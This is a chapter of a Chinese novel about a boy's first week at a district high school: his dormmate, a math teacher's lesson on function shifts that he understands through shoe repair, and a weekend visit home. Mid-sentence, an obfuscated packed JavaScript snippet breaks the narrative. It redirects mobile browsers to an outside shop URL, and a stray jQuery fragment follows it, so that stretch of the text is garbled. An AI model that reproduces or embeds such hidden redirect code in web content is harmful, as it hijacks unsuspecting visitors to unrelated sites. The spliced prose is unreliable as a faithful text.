区实验中学在城北，从城中村过去要倒三趟公交。孙小六坐了整整一个半小时，下车的时候腿有点麻。校门是那种老式的铁栅栏门，漆成绿色，漆皮起了泡，一个一个鼓着，像被开水烫过的皮肤。门柱上挂着一块铜牌，上面刻着“区实验中学”五个字，铜牌边缘生了绿锈，字还是亮的。
他拎着蛇皮袋走进去。门口传达室的大爷探出头来看了他一眼，又缩回去了。孙小六走了一段路才意识到，刚才那就是他在这个新学校的第一次被看见——不是打量，不是盘问，就是一个老头探出头来，看了一眼，缩回去。跟城西中学不一样。城西中学第一天，四十多双眼睛落在他身上，像四十多根针。这里没有人看他。不是因为冷漠，是因为不认识。不认识就不看。这让他松了一口气。
宿舍楼在操场西边，六层的灰砖楼，外墙爬满了爬山虎。爬山虎的叶子已经开始红了，从绿色往红色过渡的那种颜色，一块绿一块红的，像一件穿了很多年、补了很多次、补丁颜色深浅不一的旧衣裳。他的宿舍在三楼，306室，八人间。他到的时候，屋里已经有人了。
靠窗的下铺坐着一个戴眼镜的男生，瘦瘦的，手里捧着一本英语词汇手册。不是翻，是捧着，两只手托着书脊，像托着一只容易受惊的鸟。他看见孙小六进来，把书放下，站起来，扶了扶眼镜。“你也是这个宿舍的？我叫赵青。”孙小六说了自己的名字。赵青帮他把蛇皮袋拎到靠门的上铺，说这个位置还空着，上铺虽然爬上爬下麻烦，但头顶上没有别人，清净。
孙小六把蛇皮袋打开。李婉缝的那床碎花被子，拿出来的时候，被面上的碎花在宿舍的日光灯下亮了一下。赵青看了一眼，没说好看，也没说不好看。他把自己的被子往里挪了挪，给孙小六腾出半张空床放东西。“你先收拾。收拾完去食堂看看。晚饭五点开始，去晚了只剩菜汤。”他说这话的时候，语气跟林宇说“食堂的菜不放盐”一模一样。不是抱怨，是传授经验。
孙小六把被子铺好。枕头是自己带的，荞麦皮的，他妈缝的。他把枕头拍松了，放在床头，然后从口袋里把东西一样一样掏出来，放在枕头底下。火柴盒，蒋师傅新给的线头，三颗刻了“六”字的蒜瓣——他把昨天攥在左手心里的那颗也放进去了。老太太的照片夹在许盈的信里，信夹在火柴盒下面。枕头被这些东西撑得微微鼓起来，像里面藏着一颗很小很小的心脏。他把手放在枕头上按了按，感觉到了那些东西的轮廓。火柴盒的边角，蒜瓣的弧度，信封的厚度。都在。
晚饭是白菜炖粉条和馒头。白菜切得很大块，粉条坨成了一坨，得用筷子使劲搅才能分开。孙小六端着餐盘在食堂角落里坐下来。咬了一口馒头，面发得死，嚼着像嚼橡皮。他把林宇他妈给的辣椒酱拿出来，拧开盖子，挖了一筷子抹在馒头上。红油渗进馒头的气孔里，把白色的面染成了橙红色。咬下去，辣味从舌尖窜上来，眼泪一下子涌到了眼眶边上。不是辣哭的，是那个味道——林宇家的辣椒酱，他妈炒的时候放了花椒和芝麻，花椒的麻和芝麻的香混在一起。他去年在城西中学食堂，第一次吃林宇带来的辣椒酱，也是这个味道。他咽下去，又咬了一口。
对面坐下来一个人，端着餐盘，盘子里也是白菜炖粉条。赵青把餐盘放下，掰开馒头，看见孙小六的辣椒酱，没说话。孙小六把瓶子往他那边推了推。赵青挖了一小筷子，抹在馒头上，咬了一口。嚼了嚼，眼镜片后面的眼睛眯了一下。“你家自己做的？”
“同学他妈做的。”
“你同学他妈手艺好。”赵青又挖了一筷子。“比我妈强。我妈炒菜只会放盐。”
晚自习在高一三班教室。孙小六走进去的时候，里面已经坐了大半的人。日光灯是新换的，白得刺眼，把每个人的脸都照成一种没有血色的、瓷器似的白。他在倒数第三排靠窗的位置坐下来。不是选的，是走进去就看见那个位置空着，他就坐下了。窗户正对着操场，操场上有几个高年级的在踢球，喊叫声隔着玻璃传进来，闷闷的，像被捂住了嘴。
班主任进来了。男的，四十出头，穿一件深蓝色的夹克，领口拉链拉到头，把脖子包得严严实实的。他姓马，教数学。马老师在黑板上写下自己的名字，粉笔字方方正正的，每一个字都像用尺子量过。“我教数学。数学不会骗人。对就是对，错就是错。”他把粉笔放下，拍了拍手上的灰。“但人会骗人。所以我不跟你们讲大道理。我只讲题。”
孙小六把数学课本翻开。函数。他在城西中学的时候函数学得不好，图像的平移总是搞混，向左平移是加还是减，每次考试前都要临时背一遍，考完就忘。马老师在黑板上画了一个坐标系，一条抛物线。开口向上，顶点在原点。然后他把抛物线往右平移了两个单位。“往右平移，顶点从零变成了二。解析式里，x变成了x减二。向右平移，减。”他又把抛物线往左平移了两个单位。“向左平移，顶点从零变成了负二。解析式里，x变成了x加二。向左平移，加。”
孙小六在草稿纸上跟着画。画到向左平移的时候，他的手停了一下。向右是减，向左是加。跟直觉反着的。为什么？他把抛物线从原点往左移，顶点往负方向走，数字变小了，解析式里反而是加。他举手。马老师看着他。“你有什么问题。”
“为什么向左平移要加。顶点往负方向走，数字变小了，为什么要加。”
马老师把粉笔拿起来，又放下。他看着孙小六，看了几秒。“你叫什么名字。”
“孙小六。”
“孙小六。你问了一个好问题。”马老师把粉笔拿起来，在抛物线旁边写了一个点。“这个点在原抛物线上，横坐标是a，纵坐标是a的平方。现在把抛物线往左移两个单位。这个点跟着往左移，它的横坐标变成了a减二。但这个点还在抛物线上，它的纵坐标应该等于新横坐标的平方。所以新的纵坐标是a减二的平方。但原来这个点的纵坐标是a的平方。要让新的纵坐标等于原来那个点的纵坐标，你得把新的横坐标加二，才能还原成a。”
他把粉笔点在那个点上。“向左平移，图形动了，坐标系没动。你从坐标系看，那个点确实往左跑了，数字变小了。但解析式是描述图形形状的，不是描述它在哪儿。你要让解析式保持原来的形状，就得把变小的数字加回去。”
孙小六看着黑板上那个点。图形动了，坐标系没动。他想起蒋师傅修鞋的时候，鞋底磨偏了，不是鞋底歪了，是穿鞋的人走路歪了。修鞋不是把鞋底修歪，是把鞋底修平，让人穿着的时候脚正过来。解析式就是鞋底。图形是脚。脚歪了，鞋底要往反方向垫。向左平移，解析式加。向右平移，解析式减。跟垫鞋底是一个道理。他把这个想法记在草稿纸上——“向左平移，加。等于垫鞋底。”
马老师讲完这道题，经过孙小六座位的时候，低头看了一眼他的草稿纸。看见那行字，停了一下。“你修过鞋？”孙小六点了点头。“那你比他们多一个老师。”马老师说完，继续往前走。
晚自习结束以后，孙小六回到宿舍。306的人已经到齐了，八个人，八个铺位。赵青在下铺背单词，嘴里念念有词。对面下铺是个胖乎乎的男生，姓刘，从床底下掏出一包方便面，干嚼，嚼得咯嘣咯嘣响。上铺是个瘦高个，把被子蒙在头上，已经睡了。还有两个人在走廊里打电话，声音从门缝里传进来，断断续续的。一个说“妈，我到了，挺好的”，另一个说“食堂的菜还行，就是馒头太硬”。孙小六躺在自己床上，把手伸到枕头底下，摸到火柴盒的边缘。铁皮温温的，被体温捂热了。他没有打开，就是摸着。
赵青背完单词，把词汇手册合上，摘下眼镜，用衣角擦镜片。擦完了，戴上，又摘下来，重新擦。“你那个同学，送你辣椒酱那个，考到哪儿了。”
“区里另一所普高。离这儿四站路。”
“那不远。周末可以去找他。”
孙小六想了想。四站路。确实不远。但他周末要回去。回去看蒋师傅，看老太太，看他爸妈，看陈浩，看那棵槐树。“我周末要回家。”
赵青没有问为什么。他把眼镜戴上，躺下来，把手枕在脑后。“我从初中开始住校。住了三年了。第一个月最难熬。晚上躺下来，能听见我妈在厨房里炒菜的声音。其实听不见，是脑子里在响。”他把被子拉到胸口。“过一个月就好了。脑子里那个声音就不响了。不是不想了，是习惯了。”
孙小六听着。赵青说“习惯了”的时候，语气跟林宇说“明天我带包子”是一样的。不是不难受了，是把难受放进了一个地方，每天带着，但不拿出来。他把手从火柴盒上收回来，放在被子外面。手腕上，红绳系着的玉扣贴着脉搏。玉扣上那道镶金线的裂纹，在宿舍的黑暗里看不见。但他知道它在。裂过，被修好了。比没裂的时候还结实。
第一个周末，孙小六回了城中村。他坐了三趟公交，一个半小时，下车的时候天已经快黑了。巷子里的路灯亮着，橘黄色的光。槐树的叶子开始掉了，落在巷子地面上，薄薄一层，踩上去沙沙响。修鞋摊的遮阳伞收了一半，蒋师傅正把炭炉搬进门洞里。他看见孙小六，把炭炉放下，直起腰。
“回来了。”
“回来了。”
蒋师傅把搪瓷杯拿起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510475|202973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，喝了一口。茶是凉的。他咽下去，把杯子放在铁皮箱子上。“高中怎么样。”
“数学老师讲函数平移，我拿垫鞋底想的。向左平移加，向右平移减。跟垫鞋底一个道理。”
蒋师傅把搪瓷杯放下。杯底碰在铁皮上，轻轻的一声。“你比我强。我修鞋修了四十年，不知道那叫力。你修了一年，知道力叫什么了。”他从铁皮箱子里摸出一样东西，是一双鞋垫。布面的，碎布头拼的，针脚密密实实的，一圈一圈地缝着，像鞋底上的年轮。“你妈让给你的。她说你住校，鞋里垫这个，吸汗。”孙小六接过鞋垫。碎布头拼的，什么颜色都有。红的是一块旧秋衣，蓝的是一块工作服袖子，绿的是一块他小时候的裤子膝盖。他妈把这些碎布头攒了一年了。每一块他都认得。他把鞋垫放进帆布鞋里，踩进去。鞋垫软软的，把脚底整个托住了。碎布头的接缝在脚底下微微凸起着，像一条一条细细的、被缝在地上的小路。
陈浩家的门廊底下，老太太坐在藤椅上。天凉了，她腿上盖着那条旧棉被。搪瓷碗放在膝盖上，碗里没有蒜。她的手放在碗沿上，手指微微蜷着。陈浩蹲在她旁边，手里拿着英语词汇手册。看见孙小六，他把手册放下。
“高中英语难吗。”
“难。阅读理解的生词比初中多一倍。”
陈浩把手册翻开，翻到折角的一页。“我这周背了六十个单词。记住了四十个。那二十个第二天就忘了。我又抄了一遍。”他把手册递给孙小六。那一页上，二十个单词每个抄了五遍，英文一遍，中文一遍。抄到“necessary”的时候，他在旁边用红笔写了一个“c”，又写了一个“ss”。一个c，两个s。
孙小六把手册还给他。“你还在剥蒜吗。”
“剥。不多了。一天剥几颗。我奶的手现在剥不动了，我就剥给她看。她看着。”陈浩把手册合上，放进口袋里。口袋鼓着一块——是蒜。“我剥的时候，她就坐在那儿看。看我的手。她说，浩浩你剥蒜的样子跟你爷爷一样。你爷爷剥蒜的时候，拇指一捻，蒜皮整片就脱下来。我说我剥的还有指甲印。她说，指甲印以后就没了。手磨出来了，印子就没了。”
孙小六在他旁边蹲下来。门廊前面的地上，蒜皮积了一小堆。紫的白的混在一起，被风吹得簌簌响。
“你高中想考哪儿。”孙小六问。
“跟你一样。区实验。”陈浩把地上那片蒜皮捡起来，放在手心里。蒜皮很轻，风一来就在掌心里打旋。“我英语再往上提十分，总分就够了。十分。一个单词一个单词地背。”
孙小六从口袋里摸出那颗刻了“六”字的蒜瓣。第三颗。“六”的那一捺拖得很长。“这颗给你。你刻的。三颗我留了两颗，这颗还你。你压在枕头底下。背单词背不动的时候，摸一下。”
陈浩接过蒜瓣。蒜瓣在他手心里，刻痕对着掌纹。他把蒜瓣攥住，放进口袋里。“行。”
孙小六回到家的时候，李婉正在厨房里炒菜。抽油烟机轰隆隆响着，油烟从锅口升起来，被她用锅盖压住了。案板上摆着一盘切好的土豆丝，丝切得很细，在水里泡着。她看见孙小六进来，把火关小了。“瘦了。”她说这两个字的时候，手里的锅铲没有停，翻了一下锅里的菜。孙小六站在厨房门口。他走了一个星期，厨房里的味道没有变。抽油烟机还是那么响，他妈还是把袖子挽到小臂中间，手腕以下是白的，手腕以上是黑的。那道分界线已经很淡很淡了，但他还是一眼就看见了。
孙志远从阳台上走进来，手里拿着那盆绿萝。绿萝的藤蔓被剪过了，剪下来的藤蔓插在一个玻璃瓶里，瓶子里装着水。根从藤蔓的节上冒出来，白白的，细细的，像一把泡在水里的豆芽。“剪下来的，没扔。插在水里，又活了。”他把玻璃瓶放在茶几上。绿萝的叶子在灯光下绿着，新长出来的根在水里一飘一飘的。
吃饭的时候，孙小六把学校的事讲给他们听。数学老师，函数平移，垫鞋底的道理。赵青，背单词，辣椒酱。食堂的馒头太硬，菜汤去晚了就没了。李婉听着，把土豆丝夹到他碗里。孙志远听着，把馒头掰开，一点一点地嚼着。吃完饭，孙志远从口袋里摸出那个软抄本，翻开。在最新一页写了一行字：“小六第一周。数学用修鞋学懂了函数平移。食堂的馒头硬。瘦了。”写完，把软抄本合上，放回口袋。
孙小六回到房间。墙上那块纸板还在，上面密密麻麻写满了他修过的鞋。纸板的最底下，他新写了一行字：“高中第一周。函数平移。向左平移加，向右平移减。等于垫鞋底。”字很小，挤在纸板边缘。写完，他把笔插回笔套里。